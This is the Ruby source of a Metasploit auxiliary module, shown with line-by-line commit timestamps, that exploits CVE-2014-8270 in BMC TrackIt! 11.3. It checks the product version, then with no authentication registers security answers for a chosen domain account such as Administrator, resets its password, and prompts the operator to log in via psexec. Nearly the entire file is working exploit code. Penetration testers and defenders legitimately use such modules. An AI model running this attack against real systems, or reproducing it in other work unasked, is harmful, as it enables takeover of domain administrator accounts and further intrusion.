metasploit-framework/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb

178 lines
5.7 KiB
Ruby
Raw Normal View History

2014-12-11 00:54:37 +00:00
##
2014-12-11 16:59:43 +00:00
# This module requires Metasploit: http://metasploit.com/download
2014-12-11 00:54:37 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2014-12-11 00:54:37 +00:00
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
2014-12-11 22:44:48 +00:00
include Msf::Auxiliary::Scanner
2014-12-11 00:54:37 +00:00
def initialize(info = {})
super(update_info(
info,
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
'Description' => %q(
2014-12-11 00:54:37 +00:00
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
and possibly prior versions. If the password reset service is configured to use
a domain administrator (which is the recommended configuration), then domain
credentials can be reset (such as domain Administrator).
),
2014-12-11 00:54:37 +00:00
'References' =>
[
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
['CVE', '2014-8270']
],
'Author' =>
[
'bperry', # discovery/metasploit module,
'jhart'
2014-12-11 00:54:37 +00:00
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 9 2014"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
2014-12-11 00:54:37 +00:00
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
])
2014-12-11 00:54:37 +00:00
end
2014-12-11 22:44:48 +00:00
def localuser
datastore['LOCALUSER']
end
def password_reset
2014-12-12 00:51:41 +00:00
begin
uri = normalize_uri(target_uri.path, 'PasswordReset')
send_request_cgi('uri' => uri)
rescue => e
vprint_error("#{peer}: unable to request #{uri}: #{e}")
nil
end
2014-12-11 23:33:23 +00:00
end
def check_host(ip)
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
unless (res = password_reset)
2014-12-12 00:51:41 +00:00
return
2014-12-11 23:33:23 +00:00
end
2014-12-12 00:53:36 +00:00
if res.body =~ /<title>Track-It! Password Reset/i
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
2014-12-11 23:33:23 +00:00
if version
fix_version = '11.4'
if Gem::Version.new(version) < Gem::Version.new(fix_version)
report_vuln(
host: ip,
port: rport,
name: name,
info: "Module #{fullname} detected Track-It! version #{version}",
refs: references
2014-12-11 23:33:23 +00:00
)
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
return Exploit::CheckCode::Vulnerable
else
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
return Exploit::CheckCode::Safe
end
else
2014-12-11 23:47:26 +00:00
vprint_error("#{peer}: unable to get Track-It! version")
2014-12-11 23:33:23 +00:00
return Exploit::CheckCode::Unknown
end
else
2014-12-11 23:47:26 +00:00
vprint_status("#{peer}: does not appear to be running Track-It!")
2014-12-11 23:33:23 +00:00
return Exploit::CheckCode::Safe
end
end
def run_host(ip)
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
if datastore['DOMAIN'].blank?
vprint_status("#{peer}: retrieving session cookie and domain name")
else
vprint_status("#{peer}: retrieving domain name")
end
unless (res = password_reset)
2014-12-11 22:44:48 +00:00
return
2014-12-11 00:54:37 +00:00
end
2014-12-11 22:30:32 +00:00
cookies = res.get_cookies
if datastore['DOMAIN'].blank?
if res.body =~ /"domainName":"([^"]*)"/
domain = Regexp.last_match(1)
vprint_status("#{peer}: found domain name: #{domain}")
else
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")
return
end
else
domain = datastore['DOMAIN']
end
2014-12-11 00:54:37 +00:00
full_user = "#{domain}\\#{localuser}"
2014-12-12 01:16:43 +00:00
vprint_status("#{peer}: registering #{full_user}")
2014-12-12 01:10:33 +00:00
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
2014-12-11 22:44:48 +00:00
res = send_request_cgi(
2014-12-11 00:54:37 +00:00
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
'method' => 'POST',
2014-12-11 22:30:32 +00:00
'cookie' => cookies,
2014-12-11 00:54:37 +00:00
'vars_post' => {
'domainname' => domain,
2014-12-11 22:44:48 +00:00
'userName' => localuser,
2014-12-11 00:54:37 +00:00
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
2014-12-12 01:10:33 +00:00
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
2014-12-11 00:54:37 +00:00
'updatequesChk' => 'false',
'SelectedQuestion' => 2,
2014-12-12 01:10:33 +00:00
'answer' => answers.last,
'confirmanswer' => answers.last
2014-12-11 00:54:37 +00:00
}
2014-12-11 22:44:48 +00:00
)
2014-12-11 00:54:37 +00:00
2014-12-11 22:44:48 +00:00
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
2014-12-12 01:16:43 +00:00
print_error("#{peer}: Could not register #{full_user}")
2014-12-11 22:44:48 +00:00
return
2014-12-11 00:54:37 +00:00
end
2014-12-12 01:16:43 +00:00
vprint_status("#{peer}: changing password for #{full_user}")
if datastore['LOCALPASS'].blank?
password = Rex::Text.rand_text_alpha(10) + "!1"
else
password = datastore['LOCALPASS']
end
res = send_request_cgi(
2014-12-11 00:54:37 +00:00
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
'method' => 'POST',
2014-12-11 22:30:32 +00:00
'cookie' => cookies,
2014-12-11 00:54:37 +00:00
'vars_post' => {
'newPassword' => password,
'domain' => domain,
2014-12-11 22:44:48 +00:00
'UserName' => localuser,
2014-12-11 00:54:37 +00:00
'CkbResetpassword' => 'true'
}
)
2014-12-11 00:54:37 +00:00
2014-12-11 22:44:48 +00:00
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
2014-12-11 22:44:48 +00:00
return
2014-12-11 00:54:37 +00:00
end
report_vuln(
host: ip,
port: rport,
name: name,
info: "Module #{fullname} changed #{full_user}'s password to #{password}",
refs: references
)
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
2014-12-11 00:54:37 +00:00
end
end